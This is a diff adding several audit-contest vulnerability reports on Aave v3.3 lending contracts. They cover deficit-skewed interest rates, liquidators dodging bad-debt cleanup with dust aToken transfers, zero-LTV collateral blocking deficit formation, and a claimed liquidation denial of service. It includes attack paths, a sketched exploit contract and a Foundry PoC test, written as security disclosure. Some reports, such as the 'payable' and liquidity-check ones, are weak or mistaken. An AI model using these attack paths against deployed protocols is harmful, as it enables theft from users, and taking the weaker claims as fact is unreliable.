+[ReserveLogic.sol#L173-L177](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L173-L177) + +```solidity + (uint256 nextLiquidityRate, uint256 nextVariableRate) = IReserveInterestRateStrategy( + reserve.interestRateStrategyAddress + ).calculateInterestRates( + DataTypes.CalculateInterestRatesParams({ +>> unbacked: reserve.unbacked + reserve.deficit, +``` + +[DefaultReserveInterestRateStrategyV2.sol#L141-L152](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/misc/DefaultReserveInterestRateStrategyV2.sol#L141-L152) + +```solidity + if (params.totalDebt != 0) { + vars.availableLiquidity = + params.virtualUnderlyingBalance + + params.liquidityAdded - + params.liquidityTaken; + + vars.availableLiquidityPlusDebt = vars.availableLiquidity + params.totalDebt; +>> vars.borrowUsageRatio = params.totalDebt.rayDiv(vars.availableLiquidityPlusDebt); + vars.supplyUsageRatio = params.totalDebt.rayDiv( + vars.availableLiquidityPlusDebt + params.unbacked + ); + } else { +``` + +For the protocol accounting viewpoint deficit is still borrowed from the reserve since the borrowing was done for it, while repayment (in any form) wasn't. I.e. it is being `borrowed` similarly to the healthy debt, the difference is that deficit is expected to be repaid by Umbrella (written off), while healthy debt is expected to be repaid by the borrower. Until the repayment is done both types represent active debt, i.e. [what was ever borrowed](https://aave.com/docs/developers/smart-contracts/interest-rate-strategy#view-methods-calculateinterestrates): + +```md + totalDebt + uint256 +>> The total borrowed from the reserve +``` + +That is, with the introduction of the deficit the [inclusion of deficit to unbacked](https://github.com/aave-dao/aave-v3-origin/pull/87/files#diff-58500f59184d0c3101d1eb616e016f22027b1b7ca3badb1e8ffaa3fd6739d189L176-R177) done as Certora#M-01 mitigation doesn't look to be enough as, keeping the same variables as in issue description, `totDEBT` is no longer `the amount of money that was borrowed` since deficit was borrowed and wasn't yet repaid, so is still borrowed, just being marked for a write off. I.e. for pool it's still a debt, but frozen and not yield bearing. + +It cannot be deemed as if it is written off already because usage ratios and IRM logic is based on the balances of funds, and the corresponding supply side balance is present until aToken burn, i.e. supply reduction, on `executeEliminateDeficit()`: + +[LiquidationLogic.sol#L135-L158](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L135-L158) + +```solidity +>> IAToken(reserveCache.aTokenAddress).burn( + msg.sender, + reserveCache.aTokenAddress, + balanceWriteOff, + reserveCache.nextLiquidityIndex + ); + } else { + // This is a special case to allow mintable assets (ex. GHO), which by definition cannot be supplied + // and thus do not use virtual underlying balances. + // In that case, the procedure is 1) sending the underlying asset to the aToken and + // 2) trigger the handleRepayment() for the aToken to dispose of those assets + IERC20(params.asset).safeTransferFrom( + msg.sender, + reserveCache.aTokenAddress, + balanceWriteOff + ); + // it is assumed that handleRepayment does not touch the variable debt balance +>> IAToken(reserveCache.aTokenAddress).handleRepayment( + msg.sender, + // In the context of GHO it's only relevant that the address has no debt. + // Passing the pool is fitting as it's handling the repayment on behalf of the protocol. + address(this), + balanceWriteOff + ); +``` + +[GhoAToken.sol#L160-L173](https://github.com/aave/gho-core/blob/main/src/contracts/facilitators/aave/tokens/GhoAToken.sol#L160-L173) + +```solidity + /// @inheritdoc IAToken + function handleRepayment( + address user, + address onBehalfOf, + uint256 amount + ) external virtual override onlyPool { + uint256 balanceFromInterest = _ghoVariableDebtToken.getBalanceFromInterest(onBehalfOf); + if (amount <= balanceFromInterest) { + _ghoVariableDebtToken.decreaseBalanceFromInterest(onBehalfOf, amount); + } else { + _ghoVariableDebtToken.decreaseBalanceFromInterest(onBehalfOf, balanceFromInterest); +>> IGhoToken(_underlyingAsset).burn(amount - balanceFromInterest); + } + } +``` + +### Internal Pre-conditions + +Material deficit was formed for a debt reserve compared to the active debt. + +### External Pre-conditions + +None, it's internal accounting. + +### Attack Path + +The impact will be accrued automatically along with deficit formation. + +### Impact + +IRM logic (any version of it) is artificially shifted towards low usage situation and lower interest rates, despite user funds might being fully/almost fully utilized. + +### PoC + +As an example, let's suppose there is `900 USDC` of deficit, `100 USDC` of the healthy debt and `100 USDC` of the available liquidity in the pool, no unbacked. + +It will be: + +* `borrowUsageRatio = 100 / 200 = 0.500` in 3.3 and `1000 / 1100 = 0.909` in 3.2 (1) +* `supplyUsageRatio = 100 / 1100 = 0.091` in 3.3 and `1000 / 1100 = 0.909` in 3.2 (2) + +[DefaultReserveInterestRateStrategyV2.sol#L141-L152](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/misc/DefaultReserveInterestRateStrategyV2.sol#L141-L152) + +```solidity + if (params.totalDebt != 0) { + vars.availableLiquidity = + params.virtualUnderlyingBalance + + params.liquidityAdded - + params.liquidityTaken; + + vars.availableLiquidityPlusDebt = vars.availableLiquidity + params.totalDebt; +>> vars.borrowUsageRatio = params.totalDebt.rayDiv(vars.availableLiquidityPlusDebt); +>> vars.supplyUsageRatio = params.totalDebt.rayDiv( + vars.availableLiquidityPlusDebt + params.unbacked + ); + } else { +``` + +`supplyUsageRatio` is a coefficient between yield generating debt, paying `currentVariableBorrowRate`, and yield requiring liquidity, receiving `currentLiquidityRate`: + +[DefaultReserveInterestRateStrategyV2.sol#L171-L174](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/misc/DefaultReserveInterestRateStrategyV2.sol#L171-L174) + +```solidity +>> vars.currentLiquidityRate = vars +>> .currentVariableBorrowRate +>> .rayMul(vars.supplyUsageRatio) + .percentMul(PercentageMath.PERCENTAGE_FACTOR - params.reserveFactor); +``` + +This way 3.3 version of (2), `supplyUsageRatio = 100 / 1100 = 0.091`, looks correct as it is `100` units generate yield, while `1100` units expecting it. + +On the other hand, `borrowUsageRatio` should push interest rate higher when the demand is high vs `optimalUsageRatio` and vice versa. So, 3.3 version of (1), `borrowUsageRatio = 100 / 200 = 0.500` is not a correct representation of the supply-demand situation in the pool: liquidity supply is `1100`, this is what was supplied and accrued so far, while the loan demand is `1000`, this is what was taken out as debt and accrued as its interest, i.e. the 3.2 version of (1), `1000 / 1100 = 0.909`, is valid instead. + +In other words it is high demand, very low coverage situation: almost all the tokens supplied are utilized by loans (`1000` of `1100` are taken), which have low coverage for the supply (`100` loans generate interest for `1100` supply, because of the bad debt, represented by deficit). By `borrowUsageRatio` computed it is low demand, very low coverage instead, which doesn't represent the real situation and misalign LP incentives. That is, the deficit can't be ignored for borrow demand calculation as demand-supply is a function of loan origination, which happens before debt quality is realized. When debt is issued the demand is set, if supply is fixed for the sake of the example, and the demand doesn't change if that debt turned out to be bad, as the loan is originated already and that is not replayed when loan is §written off. + +Current situation can be equivalent to shifting `optimalUsageRatio` and can even surpass that. + +Rate dynamics depend on `excessBorrowUsageRatio = (borrowUsageRatio - optimalUsageRatio) / (1 - optimalUsageRatio) = 1 - (1 - borrowUsageRatio) / (1 - optimalUsageRatio)` when `borrowUsageRatio > optimalUsageRatio`, and on `borrowUsageRatio / optimalUsageRatio` when `borrowUsageRatio <= optimalUsageRatio`. + +Continuing the same example (1), `borrowUsageRatio = 100 / 200 = 0.500` now and `1000 / 1100 = 0.909` before ignoring the deficit, if `optimalUsageRatio = 0.8` it's `borrowUsageRatio > optimalUsageRatio` and `excessBorrowUsageRatio = (1 - 0.909) / (1 - 0.8) = 0.45`. No `optimalUsageRatio` can make it equivalent when `borrowUsageRatio == 0.5` since even when `optimalUsageRatio == 0` it's `excessBorrowUsageRatio = (1 - 0.5) / (1 - 0) = 0.5 > 0.45`. + +### Mitigation + + +Consider including the deficit into both sides of the `borrowUsageRatio` fraction, e.g.: + +[DefaultReserveInterestRateStrategyV2.sol#L141-L154](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/misc/DefaultReserveInterestRateStrategyV2.sol#L141-L154) + +```solidity + if (params.totalDebt != 0) { + vars.availableLiquidity = + params.virtualUnderlyingBalance + + params.liquidityAdded - + params.liquidityTaken; + + vars.availableLiquidityPlusDebt = vars.availableLiquidity + params.totalDebt; +- vars.borrowUsageRatio = params.totalDebt.rayDiv(vars.availableLiquidityPlusDebt); ++ vars.borrowUsageRatio = (params.totalDebt + params.deficit).rayDiv(vars.availableLiquidityPlusDebt + params.deficit); + vars.supplyUsageRatio = params.totalDebt.rayDiv( +- vars.availableLiquidityPlusDebt + params.unbacked ++ vars.availableLiquidityPlusDebt + params.unbacked + params.deficit + ); + } else { + return (0, vars.currentVariableBorrowRate); + } +``` + +As a side effect there will no longer be a jump in `borrowUsageRatio` when deficit is increased on bad debt liquidations. Also new bad debt deficit will be treated similarly to the bad debt positions existing pre 3.3 release. + +Since it requires adding a `deficit` variable there is no need to include it in `unbacked`: + +[ReserveLogic.sol#L173-L186](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L173-L186) + +```diff + (uint256 nextLiquidityRate, uint256 nextVariableRate) = IReserveInterestRateStrategy( + reserve.interestRateStrategyAddress + ).calculateInterestRates( + DataTypes.CalculateInterestRatesParams({ +- unbacked: reserve.unbacked + reserve.deficit, ++ unbacked: reserve.unbacked, ++ deficit: reserve.deficit, + liquidityAdded: liquidityAdded, + liquidityTaken: liquidityTaken, + totalDebt: totalVariableDebt, + reserveFactor: reserveCache.reserveFactor, + reserve: reserveAddress, + usingVirtualBalance: reserveCache.reserveConfiguration.getIsVirtualAccActive(), + virtualUnderlyingBalance: reserve.virtualUnderlyingBalance + }) + ); +``` + +[DataTypes.sol#L311-L320](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/types/DataTypes.sol#L311-L320) + +```diff + struct CalculateInterestRatesParams { + uint256 unbacked; ++ uint256 deficit; + uint256 liquidityAdded; + uint256 liquidityTaken; + uint256 totalDebt; + uint256 reserveFactor; + address reserve; + bool usingVirtualBalance; + uint256 virtualUnderlyingBalance; + } +``` \ No newline at end of file diff --git a/203.md b/203.md new file mode 100644 index 0000000..3f915b7 --- /dev/null +++ b/203.md @@ -0,0 +1,124 @@ +Clever Garnet Jaguar + +Medium + +# Liquidator can avoid resolving bad debt with dust supply/transfer while seizing all the borrower's collateral + +### Summary + +Whenever a position with one collateral and many debt reserves is up for liquidation with claiming all the collateral, its debt reserves will be deemed bad debt and cleaned up during `executeLiquidationCall()`, which will bear a significant cost for a liquidator. + +To avoid that the liquidator can create an additional collateral for the borrower. For example, can send a dust amount of non-isolated mode aToken not used by them yet, enabling it as a collateral via `executeFinalizeTransfer()`. This can be used by liquidators routinely as profit enhancement and leaves all the bad debt intact with deficit not formed. + +### Root Cause + +When `vars.totalCollateralInBaseCurrency > vars.collateralToLiquidateInBaseCurrency` in `executeLiquidationCall()` it is `hasNoCollateralLeft == false` and bad debt clean-up is avoided. For a bad debt bearing position with many debt reserves, liquidators will do that as long as this is profitable, which can frequently be the case on L1. + +### Internal Pre-conditions + +Borrower being liquidated has one collateral, with other supplies being not used as collaterals, and a number of debts. This can be quite common since 3.3 spreading over many debt reserves comes as a natural remedy from 50% rule change from being debt reserve wise to be the whole position wise. + +### External Pre-conditions + +Gas price is high on liquidations so paying for dust aToken transfer or supply on behalf is cheaper than covering gas costs of the deficit formation for all debt reserves of the borrower. + +### Attack Path + +The goal is to trigger `setUsingAsCollateral(id, true)` with some additional action that doesn't require borrower participation. This can be supply with `onBehalfOf = borrower` on straightforward aToken transfer, which is cheaper: + +`executeFinalizeTransfer()`, [SupplyLogic.sol#L216-L230](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/SupplyLogic.sol#L216-L230): + +``` + if (params.balanceToBefore == 0) { + DataTypes.UserConfigurationMap storage toConfig = usersConfig[params.to]; + if ( + ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + toConfig, + reserve.configuration, + reserve.aTokenAddress + ) + ) { +>> toConfig.setUsingAsCollateral(reserveId, true); + emit ReserveUsedAsCollateralEnabled(params.asset, params.to); + } + } +``` + +### Impact + +Since allowing the 50% of all the total debt to be liquidated at once is a extra payoff for liquidators at the expense of the borrowers in order to provide bad debt clearing and deficit formation, the failure to do so is a direct loss for the borrowers from the 3.3 release. I.e. in the described circumstances nothing changes bad debt vice, it's still unrealized and require manual DAO intervention (repaying on behalf), but borrowers now lose more LB to liquidators. + +### PoC + +According to the contest snapshot it's about `145k` for [aToken transfer](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/AToken.transfer.json#L8) with enabling the collateral. [Supply]((https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/Pool.Operations.json#L16)) looks to be more expensive, `176k`. + +[AToken.transfer.json#L2](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/AToken.transfer.json#L2) + +```json + "full amount; receiver: ->enableCollateral": "144881", +``` + +It's about 100k per [an additional asset](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/Pool.Operations.json#L4-L5) bad debt clean-up. Whenever a bad debt bearing borrower have more than 2 debt reserves with one of them capable to take all the collateral it's profitable to transfer aToken and avoid the cleanup (`100*k > 145 if k > 1`, where `k` is number of additional debt reserves). + +### Mitigation + +Since user can always enable the collateral manually one way to control for the issue is to require that automatic use happens on non-dust amount addition only, e.g.: + +[ValidationLogic.sol#L621-L641](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L621-L641) + +```diff + function validateAutomaticUseAsCollateral( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveConfigurationMap memory reserveConfig, ++ uint256 amountInBaseCurrency, + address aTokenAddress + ) internal view returns (bool) { + if (reserveConfig.getDebtCeiling() != 0) { + // ensures only the ISOLATED_COLLATERAL_SUPPLIER_ROLE can enable collateral as side-effect of an action + IPoolAddressesProvider addressesProvider = IncentivizedERC20(aTokenAddress) + .POOL() + .ADDRESSES_PROVIDER(); + if ( + !IAccessControl(addressesProvider.getACLManager()).hasRole( + ISOLATED_COLLATERAL_SUPPLIER_ROLE, + msg.sender + ) + ) return false; +- } ++ } else { ++ // ensures that amount that triggered the action is not below minimum ++ if (amountInBaseCurrency < LiquidationLogic.MIN_LEFTOVER_BASE) return false; ++ } + return validateUseAsCollateral(reservesData, reservesList, userConfig, reserveConfig); + } +``` + +All the uses of `validateAutomaticUseAsCollateral` will need to supply the base currency equivalent amount for the action, e.g.: + +[SupplyLogic.sol#L215-L230](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/SupplyLogic.sol#L215-L230) + +```diff + if (params.balanceToBefore == 0) { + DataTypes.UserConfigurationMap storage toConfig = usersConfig[params.to]; ++ uint256 assetPrice = IPriceOracleGetter(params.oracle).getAssetPrice(params.asset); ++ uint256 assetUnit = 10 ** reserve.configuration.getDecimals(); ++ uint256 amountInBaseCurrency = (params.amount * assetPrice) / assetUnit; + if ( + ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + toConfig, + reserve.configuration, ++ amountInBaseCurrency, + reserve.aTokenAddress + ) + ) { + toConfig.setUsingAsCollateral(reserveId, true); + emit ReserveUsedAsCollateralEnabled(params.asset, params.to); + } + } +``` diff --git a/204.md b/204.md new file mode 100644 index 0000000..5563618 --- /dev/null +++ b/204.md @@ -0,0 +1,76 @@ +Suave Pink Condor + +High + +# Lack of Validation for Liquidation Thresholds + +### Summary + +The executeLiquidationCall function does not enforce sufficient checks for minimum leftover collateral after liquidation. + +### Root Cause + +In https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L341 the executeLiquidationCall function does not enforce sufficient checks for minimum leftover collateral after liquidation. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +An attacker could create "dust" positions by liquidating only partial amounts that cannot be efficiently liquidated later. +Exploit Feasibility: This can result in inefficient protocol operations, with the protocol unable to collect or clear these leftover amounts as shown below. + +contract LiquidationThresholdExploit { + LiquidationLogic public liquidationLogic; + + constructor(address _liquidationLogic) { + liquidationLogic = LiquidationLogic(_liquidationLogic); + } + + function exploitDustCreation( + address collateralAsset, + address debtAsset, + address user, + uint256 partialDebtToCover + ) external { + // Step 1: Call executeLiquidationCall with an amount that leaves "dust" + LiquidationLogic.ExecuteLiquidationCallParams memory params = LiquidationLogic + .ExecuteLiquidationCallParams({ + collateralAsset: collateralAsset, + debtAsset: debtAsset, + user: user, + debtToCover: partialDebtToCover, + reservesCount: 2, + priceOracle: address(0), // use legitimate oracle + userEModeCategory: 0, + priceOracleSentinel: address(0), + receiveAToken: false + }); + + liquidationLogic.executeLiquidationCall( + /* pass required reserves data, users config, and other parameters */ + params + ); + + // Step 2: The protocol now has leftover dust that is uneconomical to liquidate. + } +} + + +### Impact + +An attacker could exploit this logic to bypass threshold checks by manipulating the collateral or debt amounts during liquidation. +This could leave the protocol with unliquidatable "dust" positions, leading to inefficiencies. + +### PoC + +_No response_ + +### Mitigation + +Add a fixed minimum liquidation amount to ensure meaningful debt repayments and collateral liquidations. diff --git a/205.md b/205.md new file mode 100644 index 0000000..e8a8b12 --- /dev/null +++ b/205.md @@ -0,0 +1,107 @@ +Mini Indigo Yak + +High + +# Borrowers are able to DOS liquidations + +### Summary + +If user borrows X and places collateral Y then other user can borrow the whole collateral Y by placing collateral C. When liquidator comes to liquidate the initial user there won't be enough collateral Y and liquidation will revert. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L223 + +### Root Cause + +Borrowers can borrow the whole collateral and makes liquidations revert because liquidators will not be able to receive the collateral of the borrower. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User1: supply collateral 1000 ETH +2. User1: borrow X +3. User1 becomes liquidetable +4. User2 borrows 1000 ETH and places Y as collateral +5. Liquidator call will revert + +### Impact + +Protocol can get bad debt by liquidations not happening on time. + +### PoC + +Paste this test in Pool.liquidations.t.sol: +```solidity + function test_liquidate_when_there_isnt_enough_collateral() public { + vm.startPrank(address(0x155)); + deal(tokenList.weth, address(0x155), 10_000e18); + IERC20(tokenList.weth).approve(address(contracts.poolProxy), 10_000e18); + + contracts.poolProxy.supply(tokenList.weth, 10_000e18, address(0x155), 0); + vm.stopPrank(); + + uint256 amount = 2000e6; + uint256 borrowAmount = 1620e6; + vm.startPrank(alice); + + contracts.poolProxy.supply(tokenList.usdx, amount, alice, 0); + + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + vm.warp(block.timestamp + 20000 days); + + vm.prank(address(0x155)); + contracts.poolProxy.borrow(tokenList.usdx, 100_000e6, 2, 0, address(0x155)); + + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.usdx, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 0 + ); + + uint256 liquidatorBalanceBefore; + if (params.receiveAToken) { + (address atoken, , ) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.collateralAsset + ); + liquidatorBalanceBefore = IERC20(atoken).balanceOf(bob); + } else { + liquidatorBalanceBefore = IERC20(params.collateralAsset).balanceOf(bob); + } + + // vm.expectEmit(address(contracts.poolProxy)); + emit LiquidationLogic.LiquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.actualDebtToLiquidate, + params.actualCollateralToLiquidate, + bob, + params.receiveAToken + ); + + // Liquidate + vm.prank(bob); + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); + } +``` + +### Mitigation + +Consider limiting the amounts users can borrow especially amounts that are used as collateral. \ No newline at end of file diff --git a/206.md b/206.md new file mode 100644 index 0000000..4e53d9d --- /dev/null +++ b/206.md @@ -0,0 +1,91 @@ +Clever Garnet Jaguar + +Medium + +# Active collaterals with zero LTV will prevent deficit formation + +### Summary + +GenericLogic's `calculateUserAccountData()` accounts for zero LTV collateral value in its `totalCollateralInBaseCurrency` output, but this collateral doesn't back anything even if the reserve is active for a borrower. It will prevent deficit formation for them despite there is no chance of restoring HF until collateral configuration changes. + +In other words, zero LTV collaterals don't act as collaterals in term of backing any debt, they are separate deposits instead, but still block deficit formation in the current logic. + +### Root Cause + +If a collateral have non zero LT, zero LTV (e.g. LUSD), and is enabled for the borrower, it will be accounted for in `calculateUserAccountData()`: + +[GenericLogic.sol#L109-L117](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/GenericLogic.sol#L109-L117) + +```solidity + if (vars.liquidationThreshold != 0 && params.userConfig.isUsingAsCollateral(vars.i)) { + vars.userBalanceInBaseCurrency = _getUserBalanceInBaseCurrency( + params.user, + currentReserve, + vars.assetPrice, + vars.assetUnit + ); + + vars.totalCollateralInBaseCurrency += vars.userBalanceInBaseCurrency; +``` + +So `totalCollateralInBaseCurrency = nonZeroLTVCollateral + zeroLTVCollateral` will be higher than value of the collateral actually utilized for collateralization: + +[LiquidationLogic.sol#L215-L233](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L215-L233) + +```solidity + ( + vars.totalCollateralInBaseCurrency, + vars.totalDebtInBaseCurrency, + , + , + vars.healthFactor, + + ) = GenericLogic.calculateUserAccountData( + reservesData, + reservesList, + eModeCategories, + DataTypes.CalculateUserAccountDataParams({ + userConfig: userConfig, + reservesCount: params.reservesCount, + user: params.user, + oracle: params.priceOracle, + userEModeCategory: params.userEModeCategory + }) + ); +``` + +So, it will be `totalCollateralInBaseCurrency > collateralToLiquidateInBaseCurrency` and `hasNoCollateralLeft == false`, but debt recovery wouldn't be possible whenever market is until protocol parameters change: + +[LiquidationLogic.sol#L357-L358](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L357-L358) + +```solidity + bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; +``` + +### Internal Pre-conditions + +There is a zero LTV enabled collateral for the borrower, i.e. `params.userConfig.isUsingAsCollateral(vars.i) == true`. Other collateral the borrower have doesn't support their debt and deficit conditions are met. + +### External Pre-conditions + +There are some market drop, so the deficit conditions are formed. + +### Attack Path + +E.g. enabling assets as collaterals when it's known that their LTV be set to zero forms a griefing surface in this case. + +### Impact + +The same as in other issues resulting in deficit failing to be formed: + +> Since allowing the 50% of all the total debt to be liquidated at once is a extra payoff for liquidators at the expense of the borrowers in order to provide bad debt clearing and deficit formation, the failure to do so is a direct loss for the borrowers from the 3.3 release. I.e. in the described circumstances nothing changes bad debt vice, it's still unrealized and require manual DAO intervention (repaying on behalf), but borrowers now lose more LB to liquidators. + + +### PoC + +_No response_ + +### Mitigation + +Consider ignoring such assets in `calculateUserAccountData()` for liquidations sake. \ No newline at end of file diff --git a/207.md b/207.md new file mode 100644 index 0000000..d7d6ef5 --- /dev/null +++ b/207.md @@ -0,0 +1,99 @@ +Glamorous Admiral Sloth + +Medium + +# in _upgradeTokenImplementation proxyAddress should be payable. + +### Summary + +here in the executeUpdateAToken and executeUpdateVariableDebtToken function we are calling _upgradeTokenImplementation . +but we are not checking whether aTokenAddress and variableDebtTokenAddress are payable or not. + +### Root Cause + + https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L143 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L173 + +function executeUpdateAToken( + IPool cachedPool, + ConfiguratorInputTypes.UpdateATokenInput calldata input + ) external { + address aTokenAddress = cachedPool.getReserveAToken(input.asset); + + uint256 decimals = cachedPool.getConfiguration(input.asset).getDecimals(); + + bytes memory encodedCall = abi.encodeWithSelector( + IInitializableAToken.initialize.selector, + cachedPool, + input.treasury, + input.asset, + input.incentivesController, + decimals, + input.name, + input.symbol, + input.params + ); + + @>> _upgradeTokenImplementation(aTokenAddress, input.implementation, encodedCall); + + emit ATokenUpgraded(input.asset, aTokenAddress, input.implementation); + } + + /** + * @notice Updates the variable debt token implementation and initializes it + * @dev Emits the `VariableDebtTokenUpgraded` event + * @param cachedPool The Pool containing the reserve with the variable debt token + * @param input The parameters needed for the initialize call + */ + function executeUpdateVariableDebtToken( + IPool cachedPool, + ConfiguratorInputTypes.UpdateDebtTokenInput calldata input + ) external { + address variableDebtTokenAddress = cachedPool.getReserveVariableDebtToken(input.asset); + + uint256 decimals = cachedPool.getConfiguration(input.asset).getDecimals(); + + bytes memory encodedCall = abi.encodeWithSelector( + IInitializableDebtToken.initialize.selector, + cachedPool, + input.asset, + input.incentivesController, + decimals, + input.name, + input.symbol, + input.params + ); + + @>>> _upgradeTokenImplementation(variableDebtTokenAddress, input.implementation, encodedCall); + + emit VariableDebtTokenUpgraded(input.asset, variableDebtTokenAddress, input.implementation); + } + + + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + address payable aTokenAddress = cachedPool.getReserveAToken(input.asset); + address payablevariableDebtTokenAddress = cachedPool.getReserveVariableDebtToken(input.asset); \ No newline at end of file diff --git a/invalid/.gitkeep b/invalid/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/invalid/008.md b/invalid/008.md new file mode 100644 index 0000000..fa35720 --- /dev/null +++ b/invalid/008.md @@ -0,0 +1,87 @@ +Macho Beige Rattlesnake + +Invalid + +# Lack of Direct Liquidity Check in Aave V3 Borrowing Logic + +### Summary + +## Critical Liquidity Vulnerability in Aave V3 [`BorrowingLogic`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60) and [`validateBorrow`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L137) + +A vulnerability exists in Aave V3's borrowing logic due to the lack of a direct liquidity check in validateBorrow and executeBorrow. The protocol incorrectly relies on the borrowCap as a proxy for available liquidity, which is a limit on total debt, not a guarantee of sufficient underlying assets. + +This flaw could leads to: +* executeBorrow assuming sufficient liquidity after validation, which is false. +* executeBorrow assuming successful asset transfer, which can fail if liquidity is low. +* executeRepay potentially failing to reconcile debt due to inconsistent accounting +* Risk of reserve depletion, inconsistent accounting + +### Root Cause + +##### Absence of Liquidity Check in validateBorrow: + The [`validateBorrow function`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L137) which is responsible for validating borrow requests, does not include a direct check to ensure that the reserve has enough underlying assets to fulfill the request. It only checks if the total debt (including the new borrow) is within the borrowCap and other parameters. . It relies solely on the borrowCap as a proxy for liquidity, which is a flawed assumption. + +##### Deferred Asset Transfer in executeBorrow: +The [`executeBorrow function`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60) attempts to transfer the underlying asset after validation, without checking if the reserve actually has enough assets. This deferred transfer exacerbates the issue, as the system assumes the transfer will succeed without verifying the availability of assets. + +##### Lack of Direct Liquidity Tracking: +The protocol does not implement a mechanism to track the real-time available liquidity of the underlying asset. This means that the system is unaware of the actual amount of assets available for borrowing and relies solely on the borrowCap as an indirect measure. + + + +### Internal Pre-conditions + +##### Reserve with Low Underlying Asset Liquidity: + The reserve must have a low amount of its underlying asset available for borrowing, relative to its borrowCap. This can occur due to previous borrows, withdrawals, or other factors that reduce the reserve's balance. +Why it's a precondition: If the reserve has ample liquidity, the lack of a direct check might not be immediately exploitable. The vulnerability becomes apparent when the reserve's liquidity is low. + +##### borrowCap Set Higher Than Actual Liquidity: +The borrowCap for the reserve must be set to a value that is higher than the actual amount of underlying assets held by the reserve. +Why it's a precondition: If the borrowCap is set lower than or equal to the actual liquidity, the vulnerability is less likely to be triggered. The discrepancy between the borrowCap and actual liquidity is what allows the exploit. + +##### Borrow Request Exceeding Available Liquidity: + A user must attempt to borrow an amount of the underlying asset that exceeds the actual available liquidity in the reserve. +Why it's a precondition: If the borrow request is within the available liquidity, the vulnerability might not be triggered. The exploit relies on the borrow request exceeding the actual available assets. + +### External Pre-conditions + +##### Attacker's Ability to Interact with the Protocol: +The attacker must have the ability to interact with the Aave V3 protocol, specifically the ability to call the borrow function. +This is a basic requirement for any exploit. The attacker needs to be able to send transactions to the protocol. + +##### Attacker's Knowledge of Vulnerable Reserves: + The attacker needs to be aware of reserves that have low underlying asset liquidity and a borrowCap set higher than the actual liquidity. +The attacker needs to target a specific reserve that is vulnerable to this exploit. This requires some level of on-chain analysis or monitoring. + +##### Attacker's Ability to Meet Collateral Requirements: +The attacker must have sufficient collateral to meet the protocol's requirements for borrowing. +The attacker needs to have enough collateral to pass the collateral checks in validateBorrow. This is a standard requirement for borrowing in Aave. + +### Attack Path + +_No response_ + +### Impact + +##### Inconsistent Accounting + If the releaseUnderlying parameter is set to false during a borrow, users might receive debt tokens without receiving the corresponding underlying assets. +Impact: This creates a situation where 